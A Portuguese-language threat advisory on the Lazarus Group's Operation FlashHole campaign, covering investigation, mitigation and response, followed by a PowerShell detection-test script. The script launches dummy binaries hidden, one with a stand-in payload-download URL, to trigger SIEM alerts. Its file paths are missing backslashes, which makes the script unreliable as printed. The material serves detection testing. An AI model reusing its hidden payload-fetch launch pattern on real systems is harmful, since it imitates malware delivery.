Lázaro Usa Software de Segurança Sul-Coreano para Entregar Malware Criptografado Pós-Quântico

Resumo

O grupo Lazarus, ligado à Coreia do Norte, está realizando uma campanha de ciberespionagem rastreada como Operação FlashHole. O grupo explora vulnerabilidades em softwares de segurança financeira amplamente utilizados na Coreia do Sul para implantar uma estrutura avançada de malware. Esta última iteração da campanha introduz algoritmos criptográficos pós-quânticos para proteger as comunicações de comando e controle.

Investigação

Pesquisas da Kaspersky e da AhnLab descobriram uma cadeia de infecção complexa envolvendo o carregamento malicioso de DLLs e o abuso de binários legítimos do sistema, como fsquirt.exe. Os analistas conectaram a campanha a operações anteriores, incluindo SyncHole, e documentaram uma clara evolução na sofisticação do malware. A investigação também revelou o uso de GitHub Pages para hospedagem de conteúdo malicioso e conjuntos de ferramentas avançadas, como TechHub e Cubridge.

Mitigação

As organizações devem priorizar a correção de software de segurança financeira, incluindo INISAFE CrossWeb EX e AnySign4PC. É crítico impor controles rigorosos contra o carregamento malicioso de DLLs e monitorar relações incomuns de processos pai-filho, como software de segurança iniciando fsquirt.exe, é fundamental. Os defensores também devem monitorar conexões inesperadas a APIs do GitHub ou Dropbox de processos incomuns para identificar atividade potencial de C2.

Resposta

Quando for detectada atividade maliciosa, isole os hosts afetados para prevenir movimentos laterais através de soluções de transferência de arquivos. Realize uma análise forense de memória para identificar DLLs maliciosas executando na memória e inspecione sistemas para modificações não autorizadas de arquivos. Revise a telemetria de rede para comunicações criptografadas suspeitas e investigue possíveis tentativas de exfiltração de dados para sites conhecidos de vazamento na dark web, como ULOSE.

Execução de Simulação

• Narrativa do Ataque & Comandos: O adversário pretende implantar o downloader TechHub para estabelecer uma conexão com um repositório remoto no GitHub para buscar o próximo estágio do payload. Para evitar a detecção, eles usam o TechHub.exe binário com um URL específico. Subsequentemente, eles usam o instalador TouchHub.exe , passando o parâmetro TOUCHSHIFT para acionar a instalação de componentes maliciosos. Isso simula os indicadores específicos de compromisso (IoCs) usados pelo Lazarus Group.

• Script de Teste de Regressão:

  # Script de Simulação para Detecção de TechHub/TouchHub do Lazarus Group
  # Este script cria arquivos fictícios para simular a presença dos binários de malware.
  
  $TempDir = "$env:TEMPLazarusSim"
  New-Item -ItemType Directory -Force -Path $TempDir
  
  $TechHubPath = "$TempDirTechHub.exe"
  $TouchHubPath = "$TempDirTouchHub.exe"
  
  # Criar executáveis fictícios
  New-Item -ItemType File -Force -Path $TechHubPath
  New-Item -ItemType File -Force -Path $TouchHubPath
  
  Write-Host "[+] Simulando atividade TechHub..." -ForegroundColor Cyan
  # Isso deve acionar 'selection_techhub'
  Start-Process -FilePath $TechHubPath -ArgumentList "https://github.com/malicious/payload.exe" -WindowStyle Hidden
  
  Write-Host "[+] Simulando atividade TouchHub..." -ForegroundColor Cyan
  # Isso deve acionar 'selection_touchhub'
  Start-Process -FilePath $TouchHubPath -ArgumentList "--mode TOUCHSHIFT --install" -WindowStyle Hidden
  
  Write-Host "[+] Simulação completa. Verifique o SIEM para alertas." -ForegroundColor Green

• Comandos de Limpeza:

  # Script de limpeza para remover arquivos simulados
  $TempDir = "$env:TEMPLazarusSim"
  if (Test-Path $TempDir) {
      Remove-Item -Recurse -Force $TempDir
      Write-Host "[+] Limpeza bem-sucedida: $TempDir removido." -ForegroundColor Green
  } else {
      Write-Host "[!] Limpeza falhou: Diretório não encontrado." -ForegroundColor Red
  }